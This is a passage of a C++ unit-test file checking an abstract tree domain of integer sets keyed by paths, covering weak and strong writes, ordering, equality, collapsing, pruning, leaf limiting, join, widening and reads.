EXPECT_EQ(tree.successors().size(), 1); EXPECT_EQ(tree.successor(x).root(), (IntSet{3, 4})); EXPECT_TRUE(tree.successor(x).successors().empty()); tree.write(Path{y}, IntSet{5, 6}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{5, 6}})); // Ignore elements already present on the root. tree.write(Path{y}, IntSet{2}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{}})); // Ignore elements already present on the path. tree.write(Path{x, z}, IntSet{4}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{}})); // Ignore elements already present on the path, within different nodes. tree.write(Path{x, z}, IntSet{2, 3}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x), (IntSetTree{IntSet{3, 4}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{}})); tree.write(Path{x, z}, IntSet{2, 3, 5, 7}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x).root(), (IntSet{3, 4})); EXPECT_EQ(tree.successor(x).successors().size(), 1); EXPECT_EQ(tree.successor(x).successor(z), (IntSetTree{IntSet{5, 7}})); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{}})); // Strong writes remove all children. tree.write(Path{x}, IntSet{3}, UpdateKind::Strong); EXPECT_FALSE(tree.is_bottom()); EXPECT_EQ(tree.root(), (IntSet{2})); EXPECT_EQ(tree.successors().size(), 2); EXPECT_EQ(tree.successor(x).root(), (IntSet{3})); EXPECT_EQ(tree.successor(x).successors().size(), 0); EXPECT_EQ(tree.successor(y), (IntSetTree{IntSet{}})); } TEST_F(AbstractTreeDomainTest, WriteTreeWeak) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{3}}, {Path{x, x}, IntSet{5}}, {Path{x, y}, IntSet{7}}, {Path{x, z}, IntSet{9}}, {Path{x, z, x}, IntSet{11}}, {Path{x, z, x, x}, IntSet{13}}, {Path{y}, IntSet{20}}, {Path{y, x}, IntSet{22}}, }; // Test writes at the root. auto tree1 = tree; tree1.write(Path{}, IntSetTree{IntSet{3, 7, 11, 13, 22}}, UpdateKind::Weak); EXPECT_EQ( tree1, (IntSetTree{ {Path{}, IntSet{1, 3, 7, 11, 13, 22}}, {Path{x, x}, IntSet{5}}, {Path{x, z}, IntSet{9}}, {Path{y}, IntSet{20}}, })); auto tree2 = tree; tree2.write( Path{}, IntSetTree{ {Path{}, IntSet{2}}, {Path{x}, IntSet{4}}, {Path{x, x}, IntSet{6}}, {Path{x, z}, IntSet{9, 10, 11}}, {Path{y}, IntSet{20, 21}}, }, UpdateKind::Weak); EXPECT_EQ( tree2, (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3, 4}}, {Path{x, x}, IntSet{5, 6}}, {Path{x, y}, IntSet{7}}, {Path{x, z}, IntSet{9, 10, 11}}, {Path{x, z, x, x}, IntSet{13}}, {Path{y}, IntSet{20, 21}}, {Path{y, x}, IntSet{22}}, })); // Test write at height 1. auto tree3 = tree; tree3.write( Path{x}, IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{6}}, {Path{y}, IntSet{8}}, {Path{z, x}, IntSet{11, 12}}, {Path{z, x, x}, IntSet{3, 14}}, }, UpdateKind::Weak); EXPECT_EQ( tree3, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2, 3}}, {Path{x, x}, IntSet{5, 6}}, {Path{x, y}, IntSet{7, 8}}, {Path{x, z}, IntSet{9}}, {Path{x, z, x}, IntSet{11, 12}}, {Path{x, z, x, x}, IntSet{13, 14}}, {Path{y}, IntSet{20}}, {Path{y, x}, IntSet{22}}, })); } TEST_F(AbstractTreeDomainTest, WriteTreeStrong) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{3}}, {Path{x, x}, IntSet{5}}, {Path{x, y}, IntSet{7}}, {Path{x, z}, IntSet{9}}, {Path{x, z, x}, IntSet{11}}, {Path{x, z, x, x}, IntSet{13}}, {Path{y}, IntSet{20}}, {Path{y, x}, IntSet{22}}, }; // Test writes at the root. auto tree1 = tree; tree1.write(Path{}, IntSetTree{IntSet{30}}, UpdateKind::Strong); EXPECT_EQ(tree1, IntSetTree{IntSet{30}}); auto tree2 = tree; tree2.write( Path{}, IntSetTree{ {Path{}, IntSet{2}}, {Path{x}, IntSet{4}}, {Path{y}, IntSet{6}}, }, UpdateKind::Strong); EXPECT_EQ( tree2, (IntSetTree{ {Path{}, IntSet{2}}, {Path{x}, IntSet{4}}, {Path{y}, IntSet{6}}, })); // Test write at height 1. auto tree3 = tree; tree3.write( Path{x}, IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{6}}, {Path{y}, IntSet{8}}, {Path{z, x}, IntSet{11, 12}}, {Path{z, x, x}, IntSet{3, 14}}, }, UpdateKind::Strong); EXPECT_EQ( tree3, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, x}, IntSet{6}}, {Path{x, y}, IntSet{8}}, {Path{x, z, x}, IntSet{11, 12}}, {Path{x, z, x, x}, IntSet{3, 14}}, {Path{y}, IntSet{20}}, {Path{y, x}, IntSet{22}}, })); } TEST_F(AbstractTreeDomainTest, LessOrEqual) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); EXPECT_TRUE(IntSetTree::bottom().leq(IntSetTree::bottom())); EXPECT_TRUE(IntSetTree().leq(IntSetTree::bottom())); EXPECT_TRUE(IntSetTree::bottom().leq(IntSetTree())); EXPECT_TRUE(IntSetTree().leq(IntSetTree())); auto tree1 = IntSetTree{IntSet{1}}; EXPECT_FALSE(tree1.leq(IntSetTree::bottom())); EXPECT_FALSE(tree1.leq(IntSetTree{})); EXPECT_TRUE(IntSetTree::bottom().leq(tree1)); EXPECT_TRUE(IntSetTree().leq(tree1)); EXPECT_TRUE(tree1.leq(tree1)); auto tree2 = IntSetTree{IntSet{1, 2}}; EXPECT_FALSE(tree2.leq(IntSetTree::bottom())); EXPECT_FALSE(tree2.leq(IntSetTree{})); EXPECT_TRUE(IntSetTree::bottom().leq(tree2)); EXPECT_TRUE(IntSetTree().leq(tree2)); EXPECT_TRUE(tree1.leq(tree2)); EXPECT_FALSE(tree2.leq(tree1)); EXPECT_TRUE(tree2.leq(tree2)); auto tree3 = IntSetTree{IntSet{2, 3}}; EXPECT_FALSE(tree1.leq(tree3)); EXPECT_FALSE(tree2.leq(tree3)); EXPECT_FALSE(tree3.leq(tree1)); EXPECT_FALSE(tree3.leq(tree2)); auto tree4 = IntSetTree{IntSet{1}}; tree4.write(Path{x}, IntSet{2}, UpdateKind::Weak); EXPECT_FALSE(tree4.leq(IntSetTree::bottom())); EXPECT_FALSE(tree4.leq(IntSetTree{})); EXPECT_TRUE(IntSetTree::bottom().leq(tree4)); EXPECT_TRUE(IntSetTree().leq(tree4)); EXPECT_TRUE(tree1.leq(tree4)); EXPECT_FALSE(tree4.leq(tree1)); EXPECT_FALSE(tree2.leq(tree4)); EXPECT_TRUE(tree4.leq(tree2)); EXPECT_FALSE(tree3.leq(tree4)); EXPECT_FALSE(tree4.leq(tree3)); auto tree5 = IntSetTree{IntSet{1}}; tree5.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree5.write(Path{y}, IntSet{3}, UpdateKind::Weak); EXPECT_TRUE(tree1.leq(tree5)); EXPECT_FALSE(tree5.leq(tree1)); EXPECT_FALSE(tree2.leq(tree5)); EXPECT_FALSE(tree5.leq(tree2)); EXPECT_FALSE(tree3.leq(tree5)); EXPECT_FALSE(tree5.leq(tree3)); EXPECT_TRUE(tree4.leq(tree5)); EXPECT_FALSE(tree5.leq(tree4)); auto tree6 = IntSetTree{IntSet{1, 2}}; tree6.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); EXPECT_TRUE(tree1.leq(tree6)); EXPECT_FALSE(tree6.leq(tree1)); EXPECT_TRUE(tree2.leq(tree6)); EXPECT_FALSE(tree6.leq(tree2)); EXPECT_FALSE(tree3.leq(tree6)); EXPECT_FALSE(tree6.leq(tree3)); EXPECT_TRUE(tree4.leq(tree6)); EXPECT_FALSE(tree6.leq(tree4)); EXPECT_FALSE(tree5.leq(tree6)); EXPECT_FALSE(tree6.leq(tree5)); auto tree7 = IntSetTree{IntSet{1}}; tree7.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree7.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); EXPECT_TRUE(tree1.leq(tree7)); EXPECT_FALSE(tree7.leq(tree1)); EXPECT_FALSE(tree2.leq(tree7)); EXPECT_FALSE(tree7.leq(tree2)); EXPECT_FALSE(tree3.leq(tree7)); EXPECT_FALSE(tree7.leq(tree3)); EXPECT_TRUE(tree4.leq(tree7)); EXPECT_FALSE(tree7.leq(tree4)); EXPECT_FALSE(tree5.leq(tree7)); EXPECT_FALSE(tree7.leq(tree5)); EXPECT_FALSE(tree6.leq(tree7)); EXPECT_TRUE(tree7.leq(tree6)); auto tree8 = IntSetTree{IntSet{1, 2, 3}}; EXPECT_TRUE(tree1.leq(tree8)); EXPECT_FALSE(tree8.leq(tree1)); EXPECT_TRUE(tree2.leq(tree8)); EXPECT_FALSE(tree8.leq(tree2)); EXPECT_TRUE(tree3.leq(tree8)); EXPECT_FALSE(tree8.leq(tree3)); EXPECT_TRUE(tree4.leq(tree8)); EXPECT_FALSE(tree8.leq(tree4)); EXPECT_TRUE(tree5.leq(tree8)); EXPECT_FALSE(tree8.leq(tree5)); EXPECT_TRUE(tree6.leq(tree8)); EXPECT_FALSE(tree8.leq(tree6)); EXPECT_TRUE(tree7.leq(tree8)); EXPECT_FALSE(tree8.leq(tree7)); } TEST_F(AbstractTreeDomainTest, Equal) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); EXPECT_TRUE(IntSetTree::bottom().equals(IntSetTree::bottom())); EXPECT_TRUE(IntSetTree().equals(IntSetTree::bottom())); EXPECT_TRUE(IntSetTree::bottom().equals(IntSetTree())); EXPECT_TRUE(IntSetTree().equals(IntSetTree())); auto tree1 = IntSetTree{IntSet{1}}; EXPECT_FALSE(tree1.equals(IntSetTree::bottom())); EXPECT_FALSE(IntSetTree::bottom().equals(tree1)); EXPECT_TRUE(tree1.equals(tree1)); auto tree2 = IntSetTree{IntSet{1, 2}}; EXPECT_FALSE(tree2.equals(IntSetTree::bottom())); EXPECT_FALSE(IntSetTree::bottom().equals(tree2)); EXPECT_FALSE(tree1.equals(tree2)); EXPECT_TRUE(tree2.equals(tree2)); auto tree3 = IntSetTree{IntSet{2, 3}}; EXPECT_FALSE(tree1.equals(tree3)); EXPECT_FALSE(tree2.equals(tree3)); EXPECT_TRUE(tree3.equals(tree3)); auto tree4 = IntSetTree{IntSet{1}}; tree4.write(Path{x}, IntSet{2}, UpdateKind::Weak); EXPECT_FALSE(tree4.equals(IntSetTree::bottom())); EXPECT_FALSE(IntSetTree::bottom().equals(tree4)); EXPECT_FALSE(tree1.equals(tree4)); EXPECT_FALSE(tree2.equals(tree4)); EXPECT_FALSE(tree3.equals(tree4)); EXPECT_TRUE(tree4.equals(tree4)); auto tree5 = IntSetTree{IntSet{1}}; tree5.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree5.write(Path{y}, IntSet{3}, UpdateKind::Weak); EXPECT_FALSE(tree1.equals(tree5)); EXPECT_FALSE(tree2.equals(tree5)); EXPECT_FALSE(tree3.equals(tree5)); EXPECT_FALSE(tree4.equals(tree5)); EXPECT_TRUE(tree5.equals(tree5)); auto tree6 = IntSetTree{IntSet{1, 2}}; tree6.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); EXPECT_FALSE(tree1.equals(tree6)); EXPECT_FALSE(tree2.equals(tree6)); EXPECT_FALSE(tree3.equals(tree6)); EXPECT_FALSE(tree4.equals(tree6)); EXPECT_FALSE(tree5.equals(tree6)); EXPECT_TRUE(tree6.equals(tree6)); auto tree7 = IntSetTree{IntSet{1}}; tree7.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree7.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); EXPECT_FALSE(tree1.equals(tree7)); EXPECT_FALSE(tree2.equals(tree7)); EXPECT_FALSE(tree3.equals(tree7)); EXPECT_FALSE(tree4.equals(tree7)); EXPECT_FALSE(tree5.equals(tree7)); EXPECT_FALSE(tree6.equals(tree7)); EXPECT_TRUE(tree7.equals(tree7)); auto tree8 = IntSetTree{IntSet{1, 2, 3}}; EXPECT_FALSE(tree1.equals(tree8)); EXPECT_FALSE(tree2.equals(tree8)); EXPECT_FALSE(tree3.equals(tree8)); EXPECT_FALSE(tree4.equals(tree8)); EXPECT_FALSE(tree5.equals(tree8)); EXPECT_FALSE(tree6.equals(tree8)); EXPECT_FALSE(tree7.equals(tree8)); EXPECT_TRUE(tree8.equals(tree8)); // Copy of tree 5, with different orders for the successors. auto tree9 = IntSetTree{IntSet{1}}; tree9.write(Path{y}, IntSet{3}, UpdateKind::Weak); tree9.write(Path{x}, IntSet{2}, UpdateKind::Weak); EXPECT_FALSE(tree1.equals(tree9)); EXPECT_FALSE(tree2.equals(tree9)); EXPECT_FALSE(tree3.equals(tree9)); EXPECT_FALSE(tree4.equals(tree9)); EXPECT_TRUE(tree5.equals(tree9)); EXPECT_FALSE(tree6.equals(tree9)); EXPECT_FALSE(tree7.equals(tree9)); EXPECT_FALSE(tree8.equals(tree9)); EXPECT_TRUE(tree9.equals(tree9)); } TEST_F(AbstractTreeDomainTest, Collapse) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree1 = IntSetTree{IntSet{1}}; EXPECT_EQ(tree1.collapse(), IntSet{1}); auto tree2 = IntSetTree{IntSet{1, 2}}; EXPECT_EQ(tree2.collapse(), (IntSet{1, 2})); auto tree4 = IntSetTree{IntSet{1}}; tree4.write(Path{x}, IntSet{2}, UpdateKind::Weak); EXPECT_EQ(tree4.collapse(), (IntSet{1, 2})); auto tree5 = IntSetTree{IntSet{1}}; tree5.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree5.write(Path{y}, IntSet{3}, UpdateKind::Weak); EXPECT_EQ(tree5.collapse(), (IntSet{1, 2, 3})); auto tree6 = IntSetTree{IntSet{1, 2}}; tree6.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); EXPECT_EQ(tree6.collapse(), (IntSet{1, 2, 3})); auto tree7 = IntSetTree{IntSet{1}}; tree7.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree7.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); tree7.write(Path{z, y, x}, IntSet{1, 4}, UpdateKind::Weak); EXPECT_EQ(tree7.collapse(), (IntSet{1, 2, 3, 4})); } TEST_F(AbstractTreeDomainTest, CollapseDeeperThan) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{IntSet{1}}; tree.collapse_deeper_than(1); EXPECT_EQ(tree, IntSetTree{IntSet{1}}); tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, x}, IntSet{3}}, {Path{x, y}, IntSet{4}}, {Path{x, z, x}, IntSet{5}}, {Path{y}, IntSet{10}}, {Path{y, z}, IntSet{11}}, {Path{y, z, x}, IntSet{12}}, }; tree.collapse_deeper_than(3); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, x}, IntSet{3}}, {Path{x, y}, IntSet{4}}, {Path{x, z, x}, IntSet{5}}, {Path{y}, IntSet{10}}, {Path{y, z}, IntSet{11}}, {Path{y, z, x}, IntSet{12}}, })); tree.collapse_deeper_than(2); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, x}, IntSet{3}}, {Path{x, y}, IntSet{4}}, {Path{x, z}, IntSet{5}}, {Path{y}, IntSet{10}}, {Path{y, z}, IntSet{11, 12}}, })); tree.collapse_deeper_than(1); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2, 3, 4, 5}}, {Path{y}, IntSet{10, 11, 12}}, })); tree.collapse_deeper_than(0); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3, 4, 5, 10, 11, 12}})); } TEST_F(AbstractTreeDomainTest, Prune) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree1 = IntSetTree{IntSet{1}}; tree1.prune(IntSet{1}); EXPECT_EQ(tree1, IntSetTree{IntSet{}}); auto tree2 = IntSetTree{IntSet{1, 2}}; tree2.prune(IntSet{1}); EXPECT_EQ(tree2, (IntSetTree{IntSet{2}})); auto tree4 = IntSetTree{IntSet{1}}; tree4.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree4.prune(IntSet{2}); EXPECT_EQ(tree4, (IntSetTree{IntSet{1}})); auto tree5 = IntSetTree{IntSet{1}}; tree5.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree5.write(Path{y}, IntSet{3}, UpdateKind::Weak); tree5.prune(IntSet{2, 3}); EXPECT_EQ(tree5, (IntSetTree{IntSet{1}})); auto tree6 = IntSetTree{IntSet{1, 2}}; tree6.write(Path{x, y}, IntSet{3, 4}, UpdateKind::Weak); tree6.prune(IntSet{2, 4}); EXPECT_EQ( tree6, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x, y}, IntSet{3}}, })); auto tree7 = IntSetTree{IntSet{1}}; tree7.write(Path{x}, IntSet{2}, UpdateKind::Weak); tree7.write(Path{x, y}, IntSet{3}, UpdateKind::Weak); tree7.write(Path{z, y, x}, IntSet{4}, UpdateKind::Weak); tree7.prune(IntSet{2, 4}); EXPECT_EQ( tree7, (IntSetTree{ {Path{}, IntSet{1}}, {Path{x, y}, IntSet{3}}, })); } TEST_F(AbstractTreeDomainTest, DepthExceedingMaxLeaves) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{IntSet{1}}; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), std::nullopt); tree = IntSetTree{ {Path{x}, IntSet{1}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), std::nullopt); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), std::nullopt); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, {Path{z}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), 0); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, {Path{z, x}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), 0); tree = IntSetTree{ {Path{x, y}, IntSet{1}}, {Path{y, z}, IntSet{2}}, {Path{z, x}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), 0); tree = IntSetTree{ {Path{x, x}, IntSet{1}}, {Path{x, y, z}, IntSet{2}}, {Path{y, z}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), 1); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, y, z}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(2), std::nullopt); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y, z}, IntSet{2}}, {Path{z, x, y}, IntSet{3}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(3), std::nullopt); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, y, x}, IntSet{3}}, {Path{x, y, y}, IntSet{4}}, {Path{y}, IntSet{5}}, {Path{z, x, y, z}, IntSet{6}}, }; EXPECT_EQ(tree.depth_exceeding_max_leaves(3), 2); } TEST_F(AbstractTreeDomainTest, LimitLeaves) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{IntSet{1}}; tree.limit_leaves(2); EXPECT_EQ(tree, IntSetTree{IntSet{1}}); tree = IntSetTree{ {Path{x}, IntSet{1}}, }; tree.limit_leaves(2); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1}}, })); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, }; tree.limit_leaves(2); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, })); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, {Path{z}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3}})); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y}, IntSet{2}}, {Path{z, x}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3}})); tree = IntSetTree{ {Path{x, y}, IntSet{1}}, {Path{y, z}, IntSet{2}}, {Path{z, x}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3}})); tree = IntSetTree{ {Path{x, x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, z}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1, 2, 3}}, })); tree = IntSetTree{ {Path{x, x}, IntSet{1}}, {Path{x, y, z}, IntSet{2}}, {Path{y, z}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1, 2}}, {Path{y}, IntSet{3}}, })); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, y, z}, IntSet{3}}, }; tree.limit_leaves(2); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, y, z}, IntSet{3}}, })); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{y, z}, IntSet{2}}, {Path{z, x, y}, IntSet{3}}, }; tree.limit_leaves(3); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1}}, {Path{y, z}, IntSet{2}}, {Path{z, x, y}, IntSet{3}}, })); tree = IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2}}, {Path{x, y, x}, IntSet{3}}, {Path{x, y, y}, IntSet{4}}, {Path{y}, IntSet{5}}, {Path{z, x, y, z}, IntSet{6}}, }; tree.limit_leaves(3); EXPECT_EQ( tree, (IntSetTree{ {Path{x}, IntSet{1}}, {Path{x, y}, IntSet{2, 3, 4}}, {Path{y}, IntSet{5}}, {Path{z, x}, IntSet{6}}, })); } TEST_F(AbstractTreeDomainTest, Join) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree::bottom(); tree.join_with(IntSetTree{IntSet{1}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1}})); tree.join_with(IntSetTree::bottom()); EXPECT_EQ(tree, (IntSetTree{IntSet{1}})); tree.join_with(IntSetTree{IntSet{2}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2}})); tree.join_with(IntSetTree{{Path{x}, IntSet{1}}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2}})); tree.join_with(IntSetTree{{Path{x}, IntSet{3}}}); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3}}, })); tree.join_with(IntSetTree{{Path{x, y}, IntSet{2, 3}}}); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3}}, })); tree.join_with(IntSetTree{IntSet{3}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3}})); tree.join_with(IntSetTree{ {Path{x}, IntSet{4}}, {Path{x, y}, IntSet{5, 6}}, {Path{x, z}, IntSet{7, 8}}, {Path{y}, IntSet{9, 10}}, }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2, 3}}, {Path{x}, IntSet{4}}, {Path{x, y}, IntSet{5, 6}}, {Path{x, z}, IntSet{7, 8}}, {Path{y}, IntSet{9, 10}}, })); tree.join_with(IntSetTree{ {Path{x}, IntSet{5, 6, 7}}, {Path{y}, IntSet{10, 11}}, }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2, 3}}, {Path{x}, IntSet{4, 5, 6, 7}}, {Path{x, z}, IntSet{8}}, {Path{y}, IntSet{9, 10, 11}}, })); } TEST_F(AbstractTreeDomainTest, Widen) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree::bottom(); tree.widen_with(IntSetTree{IntSet{1}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1}})); tree.widen_with(IntSetTree::bottom()); EXPECT_EQ(tree, (IntSetTree{IntSet{1}})); tree.widen_with(IntSetTree{IntSet{2}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2}})); tree.widen_with(IntSetTree{{Path{x}, IntSet{1}}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2}})); tree.widen_with(IntSetTree{{Path{x}, IntSet{3}}}); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3}}, })); tree.widen_with(IntSetTree{{Path{x, y}, IntSet{2, 3}}}); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{x}, IntSet{3}}, })); tree.widen_with(IntSetTree{IntSet{3}}); EXPECT_EQ(tree, (IntSetTree{IntSet{1, 2, 3}})); tree.widen_with(IntSetTree{ {Path{x}, IntSet{4}}, {Path{x, y}, IntSet{5, 6}}, {Path{x, z}, IntSet{7, 8}}, {Path{y}, IntSet{9, 10}}, }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2, 3}}, {Path{x}, IntSet{4}}, {Path{x, y}, IntSet{5, 6}}, {Path{x, z}, IntSet{7, 8}}, {Path{y}, IntSet{9, 10}}, })); tree.widen_with(IntSetTree{ {Path{x}, IntSet{5, 6, 7}}, {Path{y}, IntSet{10, 11}}, }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 2, 3}}, {Path{x}, IntSet{4, 5, 6, 7}}, {Path{x, z}, IntSet{8}}, {Path{y}, IntSet{9, 10, 11}}, })); // Check that we collapse at height 4. tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x, y, z, x}, IntSet{2}}, {Path{x, y, z, x, y}, IntSet{3}}, }; tree.widen_with(IntSetTree{ {Path{}, IntSet{10}}, {Path{x, y, z, x, z}, IntSet{1, 4}}, }); EXPECT_EQ( tree, (IntSetTree{ {Path{}, IntSet{1, 10}}, {Path{x, y, z, x}, IntSet{2, 3, 4}}, })); } TEST_F(AbstractTreeDomainTest, Read) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, z}, IntSet{3}}, {Path{y}, IntSet{4}}, }; EXPECT_EQ(tree.read(Path{}), tree); EXPECT_EQ( tree.read(Path{x}), (IntSetTree{ {Path{}, IntSet{1, 2}}, {Path{z}, IntSet{3}}, })); EXPECT_EQ(tree.read(Path{x, z}), (IntSetTree{IntSet{1, 2, 3}})); EXPECT_EQ(tree.read(Path{y}), (IntSetTree{IntSet{1, 4}})); // Inexisting path returns the join of all ancestors. EXPECT_EQ(tree.read(Path{x, z, y}), (IntSetTree{IntSet{1, 2, 3}})); } TEST_F(AbstractTreeDomainTest, RawRead) { const auto* x = DexString::make_string("x"); const auto* y = DexString::make_string("y"); const auto* z = DexString::make_string("z"); auto tree = IntSetTree{ {Path{}, IntSet{1}}, {Path{x}, IntSet{2}}, {Path{x, z}, IntSet{3}}, {Path{y}, IntSet{4}}, }; EXPECT_EQ(tree.raw_read(Path{}), tree); EXPECT_EQ( tree.raw_read(Path{x}), (IntSetTree{ {Path{}, IntSet{2}}, {Path{z}, IntSet{3}}, })); EXPECT_EQ(tree.raw_read(Path{x, z}), (IntSetTree{IntSet{3}})); EXPECT_EQ(tree.raw_read(Path{y}), (IntSetTree{IntSet{4}})); EXPECT_EQ(tree.raw_read(Path{z}), IntSetTree::bottom()); 